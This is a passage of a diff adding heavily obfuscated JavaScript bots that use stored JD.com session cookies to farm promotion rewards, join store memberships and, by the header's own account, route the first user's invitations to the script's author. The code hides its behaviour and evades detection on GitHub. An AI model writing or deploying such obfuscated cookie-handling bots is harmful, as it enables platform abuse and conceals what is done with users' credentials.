res,_0x598392[_0x44c0('434')])&&res[_0x44c0('103')]){console[_0x44c0('7')](_0x44c0('43c')+(res[_0x44c0('103')]||''));}else{console[_0x44c0('7')](_0x389bed);}}}}catch(_0xa86993){if(_0x598392[_0x44c0('43d')](_0x598392[_0x44c0('43e')],_0x598392[_0x44c0('43f')])){$[_0x44c0('4d')](_0xa86993,_0x582dde);}else{console[_0x44c0('7')](_0x10c07a[_0x44c0('440')]);$[_0x44c0('15')]=!![];}}finally{if(_0x598392[_0x44c0('441')](_0x598392[_0x44c0('442')],_0x598392[_0x44c0('443')])){_0x598392[_0x44c0('444')](_0x3d12dd);}else{console[_0x44c0('7')](e);}}});});}function getToken(){var _0x440dc2={'utBXN':function(_0x1f9812,_0x16be17){return _0x1f9812==_0x16be17;},'pmyIh':_0x44c0('108'),'ZwEus':function(_0x5cfdea,_0x352c89){return _0x5cfdea!=_0x352c89;},'WEoiu':_0x44c0('53'),'ECAoa':function(_0xd228c5,_0xb6b032){return _0xd228c5!==_0xb6b032;},'HpWAf':_0x44c0('445'),'MbtDV':_0x44c0('446'),'tAXhr':function(_0x4fc84e){return _0x4fc84e();},'DcUfT':_0x44c0('447'),'WIYsE':_0x44c0('159'),'kLYRt':_0x44c0('157')};return new Promise(_0xcf6f96=>{$[_0x44c0('122')]({'url':_0x44c0('448'),'body':_0x440dc2[_0x44c0('449')],'headers':{'Content-Type':_0x440dc2[_0x44c0('44a')],'Cookie':cookie,'Host':_0x440dc2[_0x44c0('44b')],'User-Agent':_0x44c0('44c')}},async(_0x215954,_0x44dacc,_0xe42fed)=>{try{if(_0x215954){console[_0x44c0('7')](''+$[_0x44c0('48')](_0x215954));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('215'));}else{let _0xdc3dd4=$[_0x44c0('12b')](_0xe42fed);if(_0x440dc2[_0x44c0('44d')](typeof _0xdc3dd4,_0x440dc2[_0x44c0('44e')])&&_0x440dc2[_0x44c0('44d')](_0xdc3dd4[_0x44c0('138')],0x0)){if(_0x440dc2[_0x44c0('44f')](typeof _0xdc3dd4[_0x44c0('13a')],_0x440dc2[_0x44c0('450')]))$[_0x44c0('6a')]=_0xdc3dd4[_0x44c0('13a')];}else if(_0x440dc2[_0x44c0('44d')](typeof _0xdc3dd4,_0x440dc2[_0x44c0('44e')])&&_0xdc3dd4[_0x44c0('13d')]){if(_0x440dc2[_0x44c0('451')](_0x440dc2[_0x44c0('452')],_0x440dc2[_0x44c0('453')])){console[_0x44c0('7')](_0x44c0('13e')+(_0xdc3dd4[_0x44c0('13d')]||''));}else{$[_0x44c0('de')]=_0xdc3dd4[_0x44c0('11c')][_0x44c0('37')];$[_0x44c0('7')](_0x44c0('17d')+_0xdc3dd4[_0x44c0('11c')][_0x44c0('37')]+'个');}}else{console[_0x44c0('7')](_0xe42fed);}}}catch(_0x563219){$[_0x44c0('4d')](_0x563219,_0x44dacc);}finally{_0x440dc2[_0x44c0('454')](_0xcf6f96);}});});}function getCk(){var _0x5f4ace={'UHjiK':_0x44c0('16'),'KxpkL':_0x44c0('55'),'hCmjD':function(_0x37a33e,_0x2ada3f){return _0x37a33e!==_0x2ada3f;},'buLrd':_0x44c0('455'),'IhTDU':function(_0x491864,_0x308f8d){return _0x491864==_0x308f8d;},'aFxgD':_0x44c0('17'),'VFAwi':_0x44c0('366'),'Mtdhc':_0x44c0('367'),'bwKSQ':_0x44c0('368'),'BbUrd':function(_0x56e3d1,_0x3c4642){return _0x56e3d1!=_0x3c4642;},'WHEyi':_0x44c0('108'),'nPxkL':function(_0x23dc9f,_0x9f05f6){return _0x23dc9f!==_0x9f05f6;},'SLKeu':_0x44c0('456'),'BiwCO':function(_0x5741af,_0x410762){return _0x5741af>_0x410762;},'eKpDH':_0x44c0('26e'),'EjTyG':function(_0x941365,_0x6e5a27){return _0x941365+_0x6e5a27;},'fROuB':function(_0x253c50,_0x23a012){return _0x253c50>_0x23a012;},'BMBCM':_0x44c0('26f'),'GLjjW':function(_0x1a3269,_0x221ad0){return _0x1a3269&&_0x221ad0;},'FRhKi':function(_0x34feac,_0x379339){return _0x34feac===_0x379339;},'DhjOx':_0x44c0('457'),'WbOhi':_0x44c0('458'),'qyQBa':_0x44c0('459'),'lCzwV':function(_0x62644a){return _0x62644a();}};return new Promise(_0x192245=>{let _0x4811c4={'url':_0x44c0('382')+$[_0x44c0('32')]+_0x44c0('35')+$[_0x44c0('30')],'followRedirect':![],'headers':{'User-Agent':$['UA']}};$[_0x44c0('259')](_0x4811c4,async(_0x1580dd,_0xc8cef4,_0x375245)=>{var _0x32235b={'mKeGd':_0x5f4ace[_0x44c0('45a')],'jsuRX':_0x5f4ace[_0x44c0('45b')]};try{if(_0x5f4ace[_0x44c0('45c')](_0x5f4ace[_0x44c0('45d')],_0x5f4ace[_0x44c0('45d')])){console[_0x44c0('7')](e);$[_0x44c0('21')]($[_0x44c0('22')],'',_0x32235b[_0x44c0('45e')]);return[];}else{if(_0x1580dd){if(_0xc8cef4[_0x44c0('45')]&&_0x5f4ace[_0x44c0('45f')](_0xc8cef4[_0x44c0('45')],0x1ed)){console[_0x44c0('7')](_0x5f4ace[_0x44c0('460')]);$[_0x44c0('15')]=!![];}console[_0x44c0('7')](''+$[_0x44c0('48')](_0x1580dd));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('23e'));}else{let _0x431b66='';let _0x24aa1f='';let _0x36102d=_0xc8cef4[_0x5f4ace[_0x44c0('461')]][_0x5f4ace[_0x44c0('462')]]||_0xc8cef4[_0x5f4ace[_0x44c0('461')]][_0x5f4ace[_0x44c0('463')]]||'';let _0x5149ed='';if(_0x36102d){if(_0x5f4ace[_0x44c0('464')](typeof _0x36102d,_0x5f4ace[_0x44c0('465')])){if(_0x5f4ace[_0x44c0('466')](_0x5f4ace[_0x44c0('467')],_0x5f4ace[_0x44c0('467')])){console[_0x44c0('7')](_0x32235b[_0x44c0('468')]);return;}else{_0x5149ed=_0x36102d[_0x44c0('11b')](',');}}else _0x5149ed=_0x36102d;for(let _0x11b940 of _0x5149ed){let _0x26fea3=_0x11b940[_0x44c0('11b')](';')[0x0][_0x44c0('355')]();if(_0x26fea3[_0x44c0('11b')]('=')[0x1]){if(_0x5f4ace[_0x44c0('469')](_0x26fea3[_0x44c0('28b')](_0x5f4ace[_0x44c0('46a')]),-0x1))_0x431b66=_0x5f4ace[_0x44c0('46b')](_0x26fea3[_0x44c0('142')](/ /g,''),';');if(_0x5f4ace[_0x44c0('46c')](_0x26fea3[_0x44c0('28b')](_0x5f4ace[_0x44c0('46d')]),-0x1))_0x24aa1f=_0x5f4ace[_0x44c0('46b')](_0x26fea3[_0x44c0('142')](/ /g,''),';');}}}if(_0x5f4ace[_0x44c0('46e')](_0x431b66,_0x24aa1f))activityCookie=_0x431b66+'\x20'+_0x24aa1f;}}}catch(_0x4dfb22){if(_0x5f4ace[_0x44c0('46f')](_0x5f4ace[_0x44c0('470')],_0x5f4ace[_0x44c0('470')])){$[_0x44c0('4d')](_0x4dfb22,_0xc8cef4);}else{console[_0x44c0('7')](''+$[_0x44c0('48')](_0x1580dd));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('49'));}}finally{if(_0x5f4ace[_0x44c0('46f')](_0x5f4ace[_0x44c0('471')],_0x5f4ace[_0x44c0('472')])){console[_0x44c0('7')](''+(res[_0x44c0('13d')]||''));}else{_0x5f4ace[_0x44c0('473')](_0x192245);}}});});}function taskPostUrl(_0x1687a2,_0x483126){var _0x56882={'ZOPaM':_0x44c0('404'),'OXYRx':_0x44c0('405'),'HUTVH':_0x44c0('406'),'zprTg':_0x44c0('407'),'Gwimv':_0x44c0('159'),'RcZoQ':function(_0x6cfca2,_0x313637){return _0x6cfca2+_0x313637;},'EmVVd':function(_0xf60319,_0x369334){return _0xf60319+_0x369334;},'jtmpF':_0x44c0('408'),'dpwHF':_0x44c0('409'),'grSeZ':_0x44c0('40a')};return{'url':_0x44c0('409')+_0x1687a2,'body':_0x483126,'headers':{'Accept':_0x56882[_0x44c0('474')],'Accept-Language':_0x56882[_0x44c0('475')],'Accept-Encoding':_0x56882[_0x44c0('476')],'Connection':_0x56882[_0x44c0('477')],'Content-Type':_0x56882[_0x44c0('478')],'Cookie':''+activityCookie+($[_0x44c0('6b')]&&_0x56882[_0x44c0('479')](_0x56882[_0x44c0('47a')](_0x56882[_0x44c0('47b')],$[_0x44c0('6b')]),';')||'')+lz_jdpin_token,'Origin':_0x56882[_0x44c0('47c')],'X-Requested-With':_0x56882[_0x44c0('47d')],'Referer':_0x44c0('382')+$[_0x44c0('32')]+_0x44c0('35')+$[_0x44c0('30')],'User-Agent':$['UA']}};}function getUA(){var _0x565519={'VvAyK':function(_0x3486f,_0x284feb){return _0x3486f(_0x284feb);}};$['UA']=_0x44c0('47e')+_0x565519[_0x44c0('47f')](randomString,0x28)+_0x44c0('480');}function randomString(_0x43c9c6){var _0x5354e2={'DDXHg':function(_0x469c66,_0x23a7bc){return _0x469c66||_0x23a7bc;},'eqhmO':_0x44c0('50'),'xnGBl':function(_0x169cf8,_0x1af9a5){return _0x169cf8<_0x1af9a5;},'eCUSI':function(_0x528ac7,_0x709e05){return _0x528ac7*_0x709e05;}};_0x43c9c6=_0x5354e2[_0x44c0('481')](_0x43c9c6,0x20);let _0xf65425=_0x5354e2[_0x44c0('482')],_0x173f33=_0xf65425[_0x44c0('37')],_0x1ac507='';for(i=0x0;_0x5354e2[_0x44c0('483')](i,_0x43c9c6);i++)_0x1ac507+=_0xf65425[_0x44c0('92')](Math[_0x44c0('93')](_0x5354e2[_0x44c0('484')](Math[_0x44c0('85')](),_0x173f33)));return _0x1ac507;}function jsonParse(_0x172531){var _0xbe31b0={'AfTto':function(_0x15ab1a,_0x11162e){return _0x15ab1a>_0x11162e;},'OyGMD':_0x44c0('26e'),'pOLBz':function(_0x1161a4,_0x29a3e3){return _0x1161a4+_0x29a3e3;},'tteqJ':_0x44c0('26f'),'Suhaj':function(_0x7ed3d4,_0x2c1be0){return _0x7ed3d4+_0x2c1be0;},'ssGsc':function(_0x46d32b,_0x5793df){return _0x46d32b==_0x5793df;},'ojwVe':_0x44c0('323'),'CWXWB':function(_0x4e4dfd,_0x40c3c8){return _0x4e4dfd===_0x40c3c8;},'yUfBW':_0x44c0('485'),'xlbkz':_0x44c0('16')};if(_0xbe31b0[_0x44c0('486')](typeof _0x172531,_0xbe31b0[_0x44c0('487')])){try{return JSON[_0x44c0('2a')](_0x172531);}catch(_0x3eaa60){if(_0xbe31b0[_0x44c0('488')](_0xbe31b0[_0x44c0('489')],_0xbe31b0[_0x44c0('489')])){console[_0x44c0('7')](_0x3eaa60);$[_0x44c0('21')]($[_0x44c0('22')],'',_0xbe31b0[_0x44c0('48a')]);return[];}else{let _0x3afb26=ck[_0x44c0('11b')](';')[0x0][_0x44c0('355')]();if(_0x3afb26[_0x44c0('11b')]('=')[0x1]){if(_0xbe31b0[_0x44c0('48b')](_0x3afb26[_0x44c0('28b')](_0xbe31b0[_0x44c0('48c')]),-0x1))LZ_TOKEN_KEY=_0xbe31b0[_0x44c0('48d')](_0x3afb26[_0x44c0('142')](/ /g,''),';');if(_0xbe31b0[_0x44c0('48b')](_0x3afb26[_0x44c0('28b')](_0xbe31b0[_0x44c0('48e')]),-0x1))LZ_TOKEN_VALUE=_0xbe31b0[_0x44c0('48f')](_0x3afb26[_0x44c0('142')](/ /g,''),';');}}}}};_0xodq='jsjiami.com.v6'; + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/backUp/gua_opencard31.js b/backUp/gua_opencard31.js new file mode 100644 index 0000000..8c03c4e --- /dev/null +++ b/backUp/gua_opencard31.js @@ -0,0 +1,56 @@ +/* +9.13~9.23 福满中秋 [gua_opencard31.js] +新增开卡脚本 + +邀请一人20豆 +开9张卡(1组) 抽奖可能获得50京豆/每组 +关注10京豆 +加购只有游戏机会 | 默认不加购 如需要添加[guaopencard_addSku31]为"true" +博饼 100积分/次 | 默认不博饼 如需要添加[guaopencard_draw31]为"3" +以上都有可能是空气💨 +———————————————— +100积分抽1次 +填写要博饼的次数 不足已自身次数为准 +guaopencard_draw31="3" +填非数字会全都抽奖 + +第一个账号助力作者 其他依次助力CK1 +第一个CK失效会退出脚本 + +默认脚本不执行 +如需执行脚本请设置环境变量 +guaopencard31="true" +———————————————— +入口:[9.13~9.23 福满中秋 (https://lzdz1-isv.isvjcloud.com/dingzhi/midautumn/jointactivity/activity?activityId=dz2109100011150101&shareUuid=099527bfb2fb423bb7c5658c63b496a9)] + +============Quantumultx=============== +[task_local] +#9.13~9.23 福满中秋 +44 2 13-23 9 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard31.js, tag=9.13~9.23 福满中秋, enabled=true + +================Loon============== +[Script] +cron "44 2 13-23 9 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard31.js, tag=9.13~9.23 福满中秋 + +===============Surge================= +9.13~9.23 福满中秋 = type=cron,cronexp="44 2 13-23 9 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard31.js + +============小火箭========= +9.13~9.23 福满中秋 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard31.js, cronexpr="44 2 13-23 9 *", timeout=3600, enable=true +*/ +let guaopencard_addSku = "false" +let guaopencard = "false" +let guaopencard_draw = "0" + +const $ = new Env('9.13~9.23 福满中秋'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; + + +var _0xodQ='jsjiami.com.v6',_0x33a4=[_0xodQ,'c214YmM=','bW1ubkc=','Vk5uV2w=','aU9WeXg=','TGJHcFI=','WUN1U0w=','RFpWRlA=','T3dmaUc=','JnBpbkltZz0=','Jm5pY2s9','JmNqeXhQaW49JmNqaHlQaW49JnNoYXJlVXVpZD0=','d0JKeG0=','cU9UdWE=','RVJVUHg=','REpMdEU=','Z3JSRVE=','T01tamg=','dk5PQm4=','dHZRa2I=','d2NhVmo=','cmZWd1Y=','WGlNdE8=','U3Rzeng=','U2NUQko=','Z1lhVUk=','cER2V3k=','bHZQQ0E=','SlFla3k=','dkpDSE8=','RE1lWks=','YXdNdGE=','bEFrQXM=','TldQdkU=','bU1WWms=','IGdldFVzZXJJbmZvIEFQSeivt+axguWksei0pe+8jOivt+ajgOafpee9kei3r+mHjeivlQ==','T255eEg=','SXZjU0w=','ZVBZSVc=','VGZWRW0=','YVFkTGs=','V0tXamk=','QmhDVXM=','SlppVEc=','U3FieWY=','WkxjUnc=','WnptTGI=','SExFTm0=','eGt3Tk0=','L3d4QWN0aW9uQ29tbW9uL2dldFVzZXJJbmZv','c3ZLV0I=','Z3NoT0Q=','SU13dnQ=','anFQaHM=','aFJ0ZFU=','UmdFVUY=','bUlZbnY=','R2NKYmQ=','SlpIZ3Y=','Q2lGZ2k=','eGZrdlE=','Z2tGVnA=','QWpaSVA=','RG9zWFo=','clV0bXA=','VGlJQ04=','UlZwVUI=','UWZsSXU=','RndOdlI=','bFNleng=','cGluPQ==','WEZYVEo=','ZFpRblc=','Y2t0SWs=','aVNYaGw=','WmljY0E=','dXlVdFU=','cldZd3g=','Q21xT28=','R1Z2ZmE=','R3JaSWs=','ZGVWdnk=','d2hqQ2w=','WnZURmY=','dEdMVGY=','TlN6aE8=','eXVuTWlkSW1hZ2VVcmw=','cEdEbFA=','bXNhYWg=','Z1FwRmI=','bnhLVkw=','YWNUUlM=','QkhXVWQ=','Z0xDUVY=','aGpyZ0c=','WGVvcno=','bnltdHc=','VERpZ0M=','ZXlwZVA=','WlVmQmo=','Z2V0VXNlckluZm8g','UlZzano=','c3RyaW5n','Q2dkRVY=','TWRKZUM=','Znd0Wmc=','UGZvQm8=','aGVhZGVycw==','c2V0LWNvb2tpZQ==','U2V0LUNvb2tpZQ==','SnF6YlU=','bXJPc0Q=','dmFCWEY=','Z1p0VlM=','elNtc2I=','L2NvbW1vbi9hY2Nlc3NMb2dXaXRoQUQ=','UEtPS3c=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9kaW5nemhpL21pZGF1dHVtbi9qb2ludGFjdGl2aXR5L2FjdGl2aXR5P2FjdGl2aXR5SWQ9','dmVuZGVySWQ9','JmNvZGU9OTkmcGluPQ==','dEtPWW0=','JnBhZ2VVcmw9','JnN1YlR5cGU9QVBQJmFkU291cmNlPW51bGw=','dWpxcm8=','REFWZ3A=','eFlMYm4=','blpxa04=','VUNyUkk=','U2FZU2Q=','Rm9pZlQ=','YXlHZUM=','WFpqTnU=','elZxUks=','Z1NkRlU=','dmdGWk8=','QnVNWkw=','enJBUWk=','SGV6Tm4=','S3ZId20=','VGt3bVE=','ZlBpaXU=','UHBndUg=','T2JMcG0=','RWtrREU=','WmxYbkQ=','TEZzbXI=','Z2d1YUc=','Z1p2ckU=','clRnR3k=','VUlrdVE=','Y0NFdkg=','RUlmSkE=','empqUmM=','RkttTG4=','dUp3RkY=','RE5jRGg=','cWl0ZXo=','VXZ4aHI=','VE9PRFY=','U2VLSmQ=','anJGclo=','R2Rva1o=','RHdyZEY=','ZFlYRFI=','VVllQlo=','ZlFUV28=','U1hmZ0o=','Y0diUm0=','QWFIaHg=','WFZlbnM=','RmNacHM=','RGtwVkQ=','bmh2T2o=','cHhYQU8=','elFSeHA=','VVdJamU=','T3hRYUk=','L2N1c3RvbWVyL2dldE15UGluZw==','QmpiYWM=','ald2Vkw=','UE1CVnY=','SHZDTWQ=','VmNEY00=','UEd2dFk=','U2d5cUQ=','UE10dno=','Q0VzUlo=','UGdaRVc=','c29HV0E=','RUlpZmo=','Z1R5cGg=','cmV3Qkk=','WXRVZk4=','ZFl3c08=','ekpSR0c=','aVlBWEM=','clR2YnI=','Vk9oSnk=','R1ZXVUk=','SUVkaWE=','aHdVbkU=','Y0lWRUg=','VnZCUW8=','SXNHZXc=','dnR4dHc=','RmxuSlc=','THZzdlE=','dXNlcklkPQ==','JnRva2VuPQ==','JmZyb21UeXBlPUFQUA==','Tmtia3c=','QlVIaFk=','Znl4aWo=','Sk95Yms=','bWxSamk=','c25VeVk=','ZVpGS0Y=','dE1Fcm0=','Qm9kdGU=','ZlBsbmw=','RWxnUVI=','bHdHblg=','aHJsQ3g=','VXNWeHk=','Ym9XUUQ=','ekJLQ1E=','aEt2WXQ=','SXlQWVU=','cFFCQmI=','VXhNYm0=','QmxHbW0=','QnFjWGM=','WklRdGw=','RlJDUU0=','TERoTEg=','eVB6dGw=','dmxESkY=','U2dvSVQ=','c2VjcmV0UGlu','WktLTVU=','WWx4dkU=','cm1MR08=','T3dIUlU=','Z2V0TXlQaW5nIA==','Q0dzeFg=','d2dYV2o=','Tk15U28=','WEdWQ04=','Y3JhTHc=','cWh3ZkU=','eGVOYkU=','c2hyYXE=','c1RIclg=','bWlFa2Q=','aXJ3Zks=','WElSZ3o=','bGNNelE=','eEd3cUI=','L2R6L2NvbW1vbi9nZXRTaW1wbGVBY3RJbmZvVm8=','YkRTSWQ=','bHRyck8=','a0NFcWI=','Tk1IZ00=','RWZCdU4=','SUt5eXc=','Z0ZMcks=','U3lvaWY=','Z2pQVEE=','WG1HZ00=','QXREeFc=','aldsYWw=','aWhKVG4=','Q2pBSk0=','Ukl1SGw=','aVJmWFc=','aVFUSUE=','ZERKc1Q=','ZnpCWUs=','ZnJtanY=','dkF4ZE8=','Y1VhYWY=','UWtBYUg=','c3pyeUw=','TmZGYms=','U2hDWW8=','RXJUWUM=','REZxcE8=','TmpBcFY=','UUJ0clU=','SURpQ0s=','WFNBTkU=','RG9CcXg=','bXVoclI=','WkZ3T1U=','ZUhoYnY=','cm5GZWI=','RUZZVWY=','S2xlTGc=','SmlnYm8=','R3FnV1k=','ZEFzbVI=','Z2V0U2ltcGxlQWN0SW5mb1ZvIA==','Q2VWWGQ=','c2tPVVE=','Z1ZGTms=','aGx2Sng=','MHw0fDN8Mnwx','WXJTSFo=','dUh6SFo=','aG1FWGs=','TmNqT3Q=','ZHF4bkM=','RUJrRmc=','ZFhweFo=','YXJlYT0xNl8xMzE1XzEzMTZfNTM1MjImYm9keT0lN0IlMjJ1cmwlMjIlM0ElMjJodHRwcyUzQSU1Qy8lNUMvbHpkejEtaXN2LmlzdmpjbG91ZC5jb20lMjIlMkMlMjJpZCUyMiUzQSUyMiUyMiU3RCZidWlsZD0xNjc4MTQmY2xpZW50PWFwcGxlJmNsaWVudFZlcnNpb249MTAuMS40JmRfYnJhbmQ9YXBwbGUmZF9tb2RlbD1pUGhvbmU4JTJDMSZlaWQ9ZWlkSWQxMGI4MTIxOTFzZUJDRkdtdGJlVFgydlhGM2xiZ0RBVndRaFNBOHdLcWo2T0E5SjRmb1BRbTNVelJ3cnJMZE8yM0IzRTJ3Q1VZL2JPREgwMVZueGlFbkFVdm9NNlNpRW5tUDNJUHFSdU8lMkJ5LyUyQlpvJmlzQmFja2dyb3VuZD1OJmpveWNpb3VzPTY0Jmxhbmc9emhfQ04mbmV0d29ya1R5cGU9d2lmaSZuZXR3b3JrbGlidHlwZT1KRE5ldHdvcmtCYXNlQUYmb3BlbnVkaWQ9MmY3NTc4Y2I2MzQwNjVmOWJlYWU5NGQwMTNmMTcyZTE5N2Q2MjI4MyZvc1ZlcnNpb249MTMuMS4yJnBhcnRuZXI9YXBwbGUmcmZzPTAwMDAmc2